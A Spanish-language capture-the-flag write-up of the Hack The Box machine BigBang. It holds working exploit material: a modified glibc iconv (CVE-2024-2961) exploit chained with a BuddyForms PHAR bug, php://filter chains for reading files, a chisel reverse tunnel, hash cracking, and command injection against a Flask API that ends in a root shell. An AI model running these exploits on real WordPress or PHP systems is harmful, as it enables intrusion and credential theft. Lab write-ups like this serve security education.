En BingBang se realizo la explotacion de una vulnerabilidad en GLibc a traves de un plugin de WordPress lo que nos dio acceso a un contenedor de Docker. El acceso a la base de datos de WordPress nos permitio el acceso a un primer usuario. Con este ultimo descubrimos una base de datos de Grafana esto permitio obtener credenciales de un segundo usuario. Finalmente, escalamos privilegios tras el analisis de una aplicacion Android y la explotacion de Command Injection en una API.
Al visitar el sitio se muestra una breve descripcion de la ‘universidad’.
Ademas observamos un formulario de BuddyForms para agregar “reviews”.
Existe una review, su contenido es un mensaje por default.
WPScan
Ejecutamos wpscan sobre el sitio, especificando la enumeracion de plugins. Observamos la version de Wordpress 6.5.4 y el plugin buddyforms en su version 2.7.7.
Encontramos que existe la vulnerabilidad PHAR deserialization (CVE-2023-26326) en BuddyForms en versiones anteriores a 2.7.8. En un post de Tenable se explica la vulnerabilidad, las condiciones y un PoC. En este ultimo se muestra la explotacion de un plugin vulnerable personalizado y la construccion de un payload agregando GIF89a al archivo para realizar bypass al “filtro” de imagenes (getimagesize()), la subida de este es a traves de una URL y su ejecucion por medio de PHAR. Sin embargo, no existe un “gadget chain” funcional para este plugin que nos permita, en el este caso de BigBang, realizar la explotacion de manera similar.
Mientras realizabamos la busqueda de vulnerabilidades encontramos el post: Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine; en este se explica el CVE-2024-2961, una vulnerabilidad buffer overflow que afecta a la libreria glibc en la funcion inconv(). Funciona en versiones de PHP 7.0.0 a 8.3.7, en WordPress, Laravel, etc.; ademas se realiza a traves de solicitudes http. Se muestra una explotacion demo a traves de la vulnerabilidad CVE-2023-26326 de BuddyForms donde se logra la ejecucion de una shell inversa.
CVE-2023-26326 + CVE-2024-2961
El PoC de la demo para BuddyForms no se menciona en el post pero si el exploit para glibc. El exploit necesita realizar la lectura de archivos para construir el payload, los archivos son: /proc/self/maps y libc.so, para esto se menciona la herramienta wrapwrap que permite realizar bypass al “filtro” de imagenes y lectura de archivos.
Reading Files
Clonamos la herramienta wrapwrap para generar la cadena de filtros.
❯ python3 wrapwrap.py -h
usage: wrapwrap.py [-h][-o OUTPUT][-p PADDING_CHARACTER][-f] path prefix suffix nb_bytes
Generates a php://filter wrapper that adds a prefix and a suffix to the contents of a file.
Example:
$ ./wrapwrap.py /etc/passwd '<root><test>''</test></root>'100[*] Dumping 108 bytes from /etc/passwd.
[+] Wrote filter chain to chain.txt (size=88781).
$ php -r 'echo file_get_contents(file_get_contents("chain.txt"));' <root><test>root:x:0:0:root:/root:/bin/bash=0Adaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin=0Abin:x:2:2:bin:/bin:/usr/</test></root>
positional arguments:
path Path to the file
prefix A string to write before the contents of the file
suffix A string to write after the contents of the file
nb_bytes Number of bytes to dump. It will be aligned with 9options:
-h, --help show this help message and exit -o OUTPUT, --output OUTPUT
File to write the payload to. Defaults to chain.txt
-p PADDING_CHARACTER, --padding-character PADDING_CHARACTER
Character to pad the prefix and suffix. Defaults to `M`.
-f, --from-file If set, prefix and suffix indicate files to load their value from, instead of the value itself
❯
Especificamos la lectura de /etc/passwd, se agrega GIF89a como prefijo y sufijo '', para realizar bypass al filtro de imagenes, muestra la creacion del archivo chain.txt. Ejecutamos un “test” con php y observamos que se muestra el prefijo al inicio del archivo.
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ python3 wrapwrap.py /etc/passwd 'GIF89a'''10000[!] Ignoring nb_bytes value since there is no suffix
[+] Wrote filter chain to chain.txt (size=1444).
❯ php -r 'echo file_get_contents(file_get_contents("chain.txt"));'GIF89aroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
# [...] snip [...]❯ cat chain.txt
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd
❯
Agregamos una imagen al formulario, interceptamos la solicitud que realiza.
Modificamos la solicitud de la misma forma que para el archivo PHAR, pero en este caso agregamos la cadena. La respuesta es la direccion de una imagen.
Al visitar la direccion de la imagen observamos el contenido del archivo /etc/passwd. Sin embargo no se muestra el contenido completo, vemos que falta una letra al final del archivo. Esto unicamente generaria problema en la lectura del archivo libc.
La descarga de la libreria libc.so se realiza obteniendo la ruta completa de la lectura de /proc/self/maps. Tras realizar la lectura de este ultimo encontramos la ruta completa.
Realizamos la lectura de libc.so.6 para observar la version, se muestra GLIBC 2.36-9+deb12u4.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ curl -s http://blog.bigbang.htb/wp-content/uploads/2025/03/1-2.png | strings | grep version
versionsort64
gnu_get_libc_version
argp_program_version
versionsort
__nptl_version
argp_program_version_hook
RPC: Incompatible versions of RPC
RPC: Program/version mismatch
<malloc version="1">
Print program version
GNU C Library (Debian GLIBC 2.36-9+deb12u4) stable release version 2.36.
Compiled by GNU CC version 12.2.0.
(PROGRAM ERROR) No version known!?
%s: %s; low version= %lu, high version= %lu
.gnu.version
.gnu.version_d
.gnu.version_r
❯
Descargamos la misma version en el repositorio de debian.
1
2
3
4
5
6
7
8
# 2.36-9+deb12u4# https://debian.sipwise.com/debian-security/pool/main/g/glibc/libc6_2.36-9+deb12u4_amd64.deb# dpkg-deb -x libc6_2.36-9+deb12u4_amd64.deb libc❯ find . -iname libc.so\*./lib/x86_64-linux-gnu/libc.so.6
❯ strings lib/x86_64-linux-gnu/libc.so.6 | grep deb12u4
GNU C Library (Debian GLIBC 2.36-9+deb12u4) stable release version 2.36.
❯
Exploit
Modificamos el exploit cnext-exploit.py, agregando los parametros necesarios para el envio de la “imagen” en la funcion send() de la clase Remote, tambien, se agrego el “bypass” de la imagen en download() como tambien la eliminacion de ‘GIF89a’.
# [...] snip [...] # import quote for send()fromurllib.parseimportquoteHEAP_SIZE=2*1024*1024BUG="劄".encode("utf-8")proxy={'http':'127.0.0.1:8080'}classRemote:# [...] snip [...] def__init__(self,url:str)->None:self.url=urlself.session=Session()defsend(self,path:str)->Response:"""Sends given `path` to the HTTP server. Returns the response.
"""data={"action":"upload_image_from_url","url":quote(path),"id":"1","accepted_files":"image/gif"}returnself.session.post(self.url,proxies=proxy,data=data)defdownload(self,path:str)->bytes:"""Returns the contents of a remote file.
"""path=f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"response_data=self.send(path).json()ifresponse_data["status"]=="FAILED":failure("Failed to upload file.")path=response_data["response"]# remove GIF89a and return contentreturnself.session.get(path,proxies=proxy).content[6:]
En la clase Exploit se elimino la verificacion de vulnerabilidad, ademas, se modifico la direccion del archivo libc por la descargada.
classExploit:# [...] snip [...] defget_symbols_and_addresses(self)->None:"""Obtains useful symbols and addresses from the file read primitive."""regions=self.get_regions()#LIBC_FILE = "/dev/shm/cnext-libc"LIBC_FILE="./libc.so.6"# PHP's heapself.info["heap"]=self.heaporself.find_main_heap(regions)# Libclibc=self._get_region(regions,"libc-","libc.so.6")# self.download_file(libc.path, LIBC_FILE)self.info["libc"]=ELF(LIBC_FILE,checksec=False)self.info["libc"].address=libc.start# [...] snip [...]defrun(self)->None:#self.check_vulnerable()self.get_symbols_and_addresses()self.exploit()
Con estos cambios ejecutamos el exploit especificando el objetivo y el comando a ejecutar, en este caso una solicitud a un servidor http, se muestra el mensaje de ejecucion exitosa.
www-data@8e3a72b5e980:/$ ls -lah
ls -lah
total 64K
drwxr-xr-x 1 root root 4.0K Feb 4 22:08 .
drwxr-xr-x 1 root root 4.0K Feb 4 22:08 ..
-rwxr-xr-x 1 root root 0 Feb 4 22:08 .dockerenv
lrwxrwxrwx 1 root root 7 Feb 112024 bin -> usr/bin
drwxr-xr-x 2 root root 4.0K Jan 282024 boot
drwxr-xr-x 5 root root 340 Mar 6 23:54 dev
drwxr-xr-x 1 root root 4.0K Feb 4 22:08 etc
drwxr-xr-x 2 root root 4.0K Jan 282024 home
lrwxrwxrwx 1 root root 7 Feb 112024 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Feb 112024 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4.0K Feb 112024 media
drwxr-xr-x 2 root root 4.0K Feb 112024 mnt
drwxr-xr-x 2 root root 4.0K Feb 112024 opt
dr-xr-xr-x 232 root root 0 Mar 6 23:54 proc
drwx------ 1 root root 4.0K Jan 17 15:02 root
drwxr-xr-x 1 root root 4.0K Jun 12024 run
lrwxrwxrwx 1 root root 8 Feb 112024 sbin -> usr/sbin
drwxr-xr-x 2 root root 4.0K Feb 112024 srv
dr-xr-xr-x 13 root root 0 Mar 6 23:54 sys
drwxrwxrwt 1 root root 4.0K Jan 17 15:00 tmp
drwxr-xr-x 1 root root 4.0K Feb 112024 usr
drwxr-xr-x 1 root root 4.0K Feb 132024 var
www-data@8e3a72b5e980:/$
WordPress DB
En el archivo de configuracion de wordpress encontramos las credenciales de la base de datos, se especifica el host 172.17.0.1. No se especifica un puerto por lo que asumimos que es una base de datos MySQL.
Utilizamos chisel para enviar el puerto 3306 del host 172.17.0.1 a nuestra maquina.
1
2
3
4
5
6
7
8
9
10
11
12
# kalisudo chisel server -p 80 --reverse
# docker wordpress (bigbang)chisel client --max-retry-count=3 10.10.15.81:80 R:3306:172.17.0.1:3306
# kali Local port 3306 MySQL ❯ netstat -ntpl | grep 3306(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)tcp6 00 :::3306 :::* LISTEN -
❯
Con mysql realizamos la conexion al puerto 3306 con las credenciales de wordpress.
❯ mysql -h 127.0.0.1 -P 3306 -u wp_user -D wordpress -p
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 2312Server version: 8.0.32 MySQL Community Server - GPL
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'for help. Type '\c' to clear the current input statement.
MySQL [wordpress]> show databases;+--------------------+
| Database |+--------------------+
| information_schema || performance_schema || wordpress |+--------------------+
3 rows in set(0.070 sec)MySQL [wordpress]>
Encontramos el hash de dos usuarios en la tabla wp_users.
┌─[sckull@parrot]─[~/htb/bigbang]└──╼ $ssh shawking@bigbang.htb # quantumphysicsThe authenticity of host 'bigbang.htb (10.10.11.52)' can't be established.
ED25519 key fingerprint is SHA256:w7PN9DfWgTxbKl4gY79ZdTPLHPbZEfNlJN/9PTBIFBM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'bigbang.htb' (ED25519) to the list of known hosts.
shawking@bigbang.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri Mar 7 02:06:35 AM UTC 2025 System load: 0.11 Processes: 180 Usage of /: 65.9% of 9.74GB Users logged in: 0 Memory usage: 27% IPv4 address for eth0: 10.10.11.52
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Feb 4 22:05:54 2025 from 10.10.14.66
shawking@bigbang:~$ whoami;id;pwdshawking
uid=1001(shawking)gid=1001(shawking)groups=1001(shawking)/home/shawking
shawking@bigbang:~$ ls
snap user.txt
shawking@bigbang:~$ cat user.txt
dd71d6166578784cb63147d5bcffb0b6
shawking@bigbang:~$
Grafana - SQLite
En el directorio /opt encontramos la base de datos de grafana.
1
2
3
4
5
6
7
8
9
shawking@bigbang:~$ ls /opt
containerd data
shawking@bigbang:~$ ls /opt/data/
csv grafana.db pdf plugins png
shawking@bigbang:~$ ls /opt/data/grafana.db
/opt/data/grafana.db
shawking@bigbang:~$ file /opt/data/grafana.db
/opt/data/grafana.db: SQLite 3.x database, last written using SQLite version 3044000, file counter 758, database pages 245, cookie 0x1bd, schema 4, UTF-8, version-valid-for 758shawking@bigbang:~$
❯ sqlite3
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help"for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open grafana.db
sqlite> .tables
alert library_element_connection
[...] snip [...]file_meta user
folder user_auth
kv_store user_auth_token
library_element user_role
sqlite> .schema user;CREATE TABLE `user`(`id` INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL
, `version` INTEGER NOT NULL
, `login` TEXT NOT NULL
, `email` TEXT NOT NULL
, `name` TEXT NULL
, `password` TEXT NULL
, `salt` TEXT NULL
, `rands` TEXT NULL
, `company` TEXT NULL
, `org_id` INTEGER NOT NULL
, `is_admin` INTEGER NOT NULL
, `email_verified` INTEGER NULL
, `theme` TEXT NULL
, `created` DATETIME NOT NULL
, `updated` DATETIME NOT NULL
, `help_flags1` INTEGER NOT NULL DEFAULT 0, `last_seen_at` DATETIME NULL, `is_disabled` INTEGER NOT NULL DEFAULT 0, is_service_account BOOLEAN DEFAULT 0, `uid` TEXT NULL);CREATE UNIQUE INDEX `UQE_user_login` ON `user`(`login`);CREATE UNIQUE INDEX `UQE_user_email` ON `user`(`email`);CREATE INDEX `IDX_user_login_email` ON `user`(`login`,`email`);CREATE UNIQUE INDEX `UQE_user_uid` ON `user`(`uid`);sqlite>
observamos que dos usuarios estan registrados en la base de datos, obtuvimos el hash y salt.
1
2
3
4
sqlite> select password,salt from user;441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34|CFn7zMsQpf
7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960|4umebBJucv
sqlite>
Utilizamos grafana2hashcat para obtener los hashes y salt en formato para hashcat.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ nano hashes
❯ python3 grafana2hashcat.py hashes
[+] Grafana2Hashcat
[+] Reading Grafana hashes from: hashes
[+] Done! Read 2 hashes in total.
[+] Converting hashes...
[+] Converting hashes complete.
[*] Outfile was not declared, printing output to stdout instead.
sha256:10000:Q0ZuN3pNc1FwZg==:RBpxW9eI6SgXC+eVSxfLGd6DWi3t/ezoxlMnyx2bpr1H1w7bdCGwXZcGumFHy3GXOjQ=sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=[+] Now, you can run Hashcat with the following command, for example:
hashcat -m 10900 hashcat_hashes.txt --wordlist wordlist.txt
❯
Cracking the Hash
Ejecutamos hashcat con el wordlist rockyou.txt sobre el archivo de hash. Hashcat muestra una contrasena.
El codigo muestra que el MainActivity carga el LoginActivity, este muestra dos EditText y un Botton, el contenido es enviado a un OnClickListener personalizado: View$OnClickListenerC0096b con el parametro 6.
En el Listener encontramos un switch, en la expresion 6 (case 6) observamos que envia el valor de username y password como Json a AsyncTaskC0228f con el parametro 1.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// View$OnClickListenerC0096b - case 6case6:LoginActivityloginActivity=(LoginActivity)obj;Stringobj2=loginActivity.f1991o.getText().toString();Stringobj3=loginActivity.f1992p.getText().toString();if(obj2.isEmpty()||obj3.isEmpty()){Toast.makeText(loginActivity,"Please enter username and password",0).show();return;}try{JSONObjectjSONObject=newJSONObject();jSONObject.put("username",obj2);jSONObject.put("password",obj3);newAsyncTaskC0228f((LoginActivity)obj,1).execute(jSONObject.toString());return;}catch(Exceptione2){e2.printStackTrace();return;}
En AsyncTaskC0228f encontramos un switch, en la expresion a ejecutar se observa una solicitud POST al subdominio app.bigbang.htb, puerto 9090 y “endpoint” /login, probablemente una API, username y password son enviados, se realiza una autenticacion.
De ser exitosa la autenticacion, obtiene el access_token de la respuesta y crea token_expiry_time, estos dos son enviados al activity InteractionActivity el cual es “inicializado”.
InteractionActivity muestra dos botones, ambos muestran contenido diferente al interactuar con estos, el Listener crea a() con el parametro 0 o 1, segun de lo que se elija.
// a()publicfinalvoidonClick(Viewview){inti2=this.f3684a;InteractionActivityinteractionActivity=this.f3685b;switch(i2){case0:inti3=InteractionActivity.f1985r;interactionActivity.getClass();if(System.currentTimeMillis()>interactionActivity.f1989q){Toast.makeText(interactionActivity,"The token has expired. Please log in again.",0).show();return;}Intentintent=newIntent(interactionActivity,MoveCommandActivity.class);// se especifica el activityintent.putExtra("access_token",interactionActivity.f1988p);intent.putExtra("token_expiry_time",interactionActivity.f1989q);interactionActivity.startActivity(intent);return;default:inti4=InteractionActivity.f1985r;interactionActivity.getClass();if(System.currentTimeMillis()>interactionActivity.f1989q){Toast.makeText(interactionActivity,"The token has expired. Please log in again.",0).show();return;}Intentintent2=newIntent(interactionActivity,TakePictureActivity.class);// se especifica el activityintent2.putExtra("access_token",interactionActivity.f1988p);intent2.putExtra("token_expiry_time",interactionActivity.f1989q);interactionActivity.startActivity(intent2);return;}}
MoveCommandActivity obtiene tres valores los cuales son enviados a /command, tras la ejecucion muestra un mensaje agregando la respuesta.
TakePictureActivity muestra un Spinner con multiples opciones, verifica que la aplicacion tenga permisos de almacenamiento. Un Listener es ejecutado y a su vez es ejecutado b() (AsyncTask), en este se obtiene el valor seleccionado del Spinner (Hashmap) y se agrega .png.
publicclassTakePictureActivityextendsAppCompatActivity{// [..] snip [..]publicfinalvoidonCreate(Bundlebundle){super.onCreate(bundle);setContentView(R.layout.activity_take_picture);this.f2001n=(Spinner)findViewById(R.id.locations_spinner);this.f2002o=(Button)findViewById(R.id.submit_button);HashMaphashMap=newHashMap();this.f2004q=hashMap;hashMap.put("Branchal Road","1");this.f2004q.put("Uist Way","2");this.f2004q.put("Crop field","3");this.f2004q.put("Clearing","4");this.f2004q.put("Lake","5");this.f2004q.put("Kyle Drive","6");this.f2004q.put("Northwood Path","7");ArrayAdapterarrayAdapter=newArrayAdapter(this,17367048,newArrayList(this.f2004q.keySet()));arrayAdapter.setDropDownViewResource(17367049);this.f2001n.setAdapter((SpinnerAdapter)arrayAdapter);this.f2003p=getIntent().getStringExtra("access_token");Objectobj=e.f3731a;if(checkPermission("android.permission.WRITE_EXTERNAL_STORAGE",Process.myPid(),Process.myUid())!=0){String[]strArr={"android.permission.WRITE_EXTERNAL_STORAGE"};inti2=AbstractC0225c.f3719b;if(TextUtils.isEmpty(strArr[0])){thrownewIllegalArgumentException("Permission request for permissions "+Arrays.toString(strArr)+" must not contain null or empty values");}requestPermissions(strArr,1);}this.f2002o.setOnClickListener(newView$OnClickListenerC0096b(8,this));}}// View$OnClickListenerC0096b - 8default:TakePictureActivitytakePictureActivity=(TakePictureActivity)obj;newq0.b(takePictureActivity).execute(Q.d((String)takePictureActivity.f2004q.get(takePictureActivity.f2001n.getSelectedItem().toString()),".png"));return;
El AsyncTask realiza una solicitud POST con contenido JSON donde output_file tiene el valor de 1.png (donde 1 representa la opcion), obtiene la respuesta la cual es una imagen y la almacena en el dispositivo.
Mas alla de lo anterior no se observo algun otro tipo de interaccion con la “API”. Obtuvimos el contenido del apk para observar la existencia de alguna otro endpoint o subdominio en el codigo, no encontramos mas informacion.
El puerto 9090 de BigBang no esta abierto, unicamente se muestra localmente.
1
2
3
4
developer@bigbang:~$ netstat -ntpl | grep 9090(No info could be readfor"-p": geteuid()=1002 but you should be root.)tcp 00 127.0.0.1:9090 0.0.0.0:* LISTEN -
developer@bigbang:~$
Obtuvimos el puerto localmente utilizando SSH.
1
2
3
4
5
6
7
8
9
10
11
┌─[sckull@parrot]─[~/htb/bigbang]└──╼ $ssh developer@bigbang.htb -L 9090:127.0.0.1:9090 -fN
developer@bigbang.htb's password:
┌─[sckull@parrot]─[~/htb/bigbang]└──╼ $netstat -ntpl | grep 9090(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)tcp 00 127.0.0.1:9090 0.0.0.0:* LISTEN 592102/ssh
tcp6 00 ::1:9090 :::* LISTEN 592102/ssh
┌─[sckull@parrot]─[~/htb/bigbang]└──╼ $
Upstream Proxying
La aplicacion esta utilizando un dominio y puerto para enviar las solicitudes, el puerto lo tenemos localmente, utilizamos Upstream Proxying para enviar estas solicitudes al localhost.
Login & Commands
Abrimos la aplicacion para observar el comportamiento y el trafico generado por este, teniendo en cuenta el analisis de codigo anterior. La aplicacion muestra una interfaz de Login.
Ingresamos las credenciales developer:bigbang, la aplicacion realiza una solicitud JSON con estas y se observa en la respuesta el access_token, por lo que son validas.
El analisis del codigo nos mostro el comportamiento y las diferentes solicitudes creadas, enviadas y de como los valores de la respuesta son utilizados. Pudimos confirmar lo anterior tras interactuar y observar el trafico de la aplicacion.
Del analisis a BigBang obtuvimos:
Host y puerto: app.bigbang.htb:9090
Endpoints:
/login
/command
Utiliza una estructura JSON para el envio de datos.
Ejecutamos ffuf para verificar si existen otros endpoints en la API. Especificamos el metodo OPTIONS y el token, este ultimo lo obtuvimos del login con las credenciales. Se muestran los dos ya conocidos.
Tras ejecutar pspy observamos que para el comando send_image existe un proceso que se ejecuta al realizar la solicitud, utiliza el valor del parametro output_file como argumento para el comando /usr/local/bin/image-tool.
Ejecutamos ffuf para encontrar los caracteres aceptados por la API, observamos nueve. BurpSuite muestra que los caracteres " y \ generan error de solicitud. En el caso de " no es valido por la estructura JSON.
Ejecutamos la copia de bash como privilegiada logrando obtener una shell como root y la flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
developer@bigbang:/dev/shm$ ls -lah /bin/sc
-rwsr-xr-x 1 root root 1.4M Mar 11 11:22 /bin/sc
developer@bigbang:/dev/shm$ /bin/sc -p
sc-5.1# id
uid=1002(developer)gid=1002(developer)euid=0(root)groups=1002(developer)sc-5.1# cd /root
sc-5.1# ls
resolv.conf root.txt satellite snap
sc-5.1# cat root.txt
f74ebba87421f085f3851d5fdad6b7d4
sc-5.1#
API - app.py
Encontramos el codigo de la “API” en el directorio de root.
1
2
3
4
5
6
7
sc-5.1# ls -lah satellite/
total 20K
drwxr-xr-x 3 root root 4.0K Jan 20 16:30 .
drwx------ 8 root root 4.0K Mar 11 11:35 ..
-rw-r--r-- 1 root root 5.6K Jun 52024 app.py
drwxr-xr-x 2 root root 4.0K Jun 22024 img
sc-5.1#
Observamos que la vulnerabilidad se encuentra en la funcion generate_random_image donde output_file representa el nombre del archivo.
1
2
3
4
5
6
7
8
defgenerate_random_image(output_file):try:result=subprocess.run(f'/usr/local/bin/image-tool --get-image {output_file}',check=True,shell=True,capture_output=True,text=True)print(f"STDOUT: {result.stdout}")# Log the standard outputprint(f"STDERR: {result.stderr}")# Log the standard errorexceptsubprocess.CalledProcessErrorase:print(f"Error executing image-tool: {e.stderr}")raiseRuntimeError(f'Error generating image: {e.stderr}')
fromflaskimportFlask,request,jsonify,send_filefromflask_sqlalchemyimportSQLAlchemyfromflask_bcryptimportBcryptfromflask_jwt_extendedimportJWTManager,create_access_token,jwt_required,get_jwt_identityfromioimportBytesIOfromPILimportImageimportrandomimportdatetimeimportnumpyasnpimportsubprocessapp=Flask(__name__)# Update the following line with your MySQL database connection detailsapp.config['SQLALCHEMY_DATABASE_URI']='mysql://satellite_user:satellite_password@172.17.0.1/satellite_db'app.config['SQLALCHEMY_TRACK_MODIFICATIONS']=Falseapp.config['JWT_SECRET_KEY']='gUX2sShwFlHJ9MBwoXwWNghwuMenSpoi5wIL12kzXfVuNzh7G9WMysTNlnWyvvvD'db=SQLAlchemy(app)bcrypt=Bcrypt(app)jwt=JWTManager(app)classUser(db.Model):id=db.Column(db.Integer,primary_key=True)username=db.Column(db.String(80),unique=True,nullable=False)password=db.Column(db.String(200),nullable=False)classLocation(db.Model):id=db.Column(db.Integer,primary_key=True)user_id=db.Column(db.Integer,db.ForeignKey('user.id'),nullable=False)x=db.Column(db.Float,nullable=False)y=db.Column(db.Float,nullable=False)z=db.Column(db.Float,nullable=False)timestamp=db.Column(db.DateTime,nullable=False,default=datetime.datetime.utcnow)defcreate_tables():withapp.app_context():db.create_all()create_tables()defcontains_dangerous_chars(input_str):dangerous_chars=[';',# Separador de comandos"'",# Comilla simple'"',# Comilla doble'\\',# Barra invertida'&',# Ejecución en paralelo'|',# Pipe'$',# Expansión de variables'(',# Paréntesis de apertura')',# Paréntesis de cierre'>',# Redirección de salida'<',# Redirección de entrada'`',# Acento grave'!',# Ejecución de comandos del historial'+',# Puede ser usado en algunos contextos para comandos'#',# Comentarios en shell'*',# Wildcard (comodín)'?',# Wildcard (comodín)'[',# Inicio de clase de caracteres en expresiones regulares']',# Fin de clase de caracteres en expresiones regulares'{',# Inicio de bloque de comandos o parámetros en algunas shells'}',# Fin de bloque de comandos o parámetros en algunas shells'^',# Redirección de error en algunas shells'%'# Puede tener usos especiales en algunas shells]returnany(charininput_strforcharindangerous_chars)@app.route('/login',methods=['POST'])deflogin():username=request.json.get('username',None)password=request.json.get('password',None)ifnotusernameornotpassword:returnjsonify({'error':'Missing username or password'}),400user=User.query.filter_by(username=username).first()ifnotuserornotbcrypt.check_password_hash(user.password,password):returnjsonify({'error':'Bad username or password'}),401access_token=create_access_token(identity=username,expires_delta=datetime.timedelta(hours=1))returnjsonify(access_token=access_token),200@app.route('/command',methods=['POST'])@jwt_required()defcommand():command=request.json.get('command','').lower()current_username=get_jwt_identity()# Retrieve the User object corresponding to the usernamecurrent_user=User.query.filter_by(username=current_username).first()ifnotcurrent_user:returnjsonify({'error':'User not found'}),404ifcommand=='move':try:x=float(request.json.get('x'))y=float(request.json.get('y'))z=float(request.json.get('z'))except(TypeError,ValueError):returnjsonify({'error':'Invalid coordinates. Please provide numeric values for x, y, and z.'}),400# Save the coordinates into the databaselocation=Location(user_id=current_user.id,x=x,y=y,z=z)db.session.add(location)db.session.commit()returnjsonify({'status':f'{current_username} is moving to coordinates ({x}, {y}, {z})'})elifcommand=='send_image':output_file=request.json.get('output_file')ifnotoutput_file:returnjsonify({'error':'Output file path must be provided'}),400ifcontains_dangerous_chars(output_file):returnjsonify({'error':'Output file path contains dangerous characters'}),400try:image_data=generate_random_image(output_file)returnsend_file(BytesIO(image_data),mimetype='image/png')exceptRuntimeErrorase:returnjsonify({'error':str(e)}),500else:returnjsonify({'error':'Invalid command'}),400defgenerate_random_image(output_file):try:result=subprocess.run(f'/usr/local/bin/image-tool --get-image {output_file}',check=True,shell=True,capture_output=True,text=True)print(f"STDOUT: {result.stdout}")# Log the standard outputprint(f"STDERR: 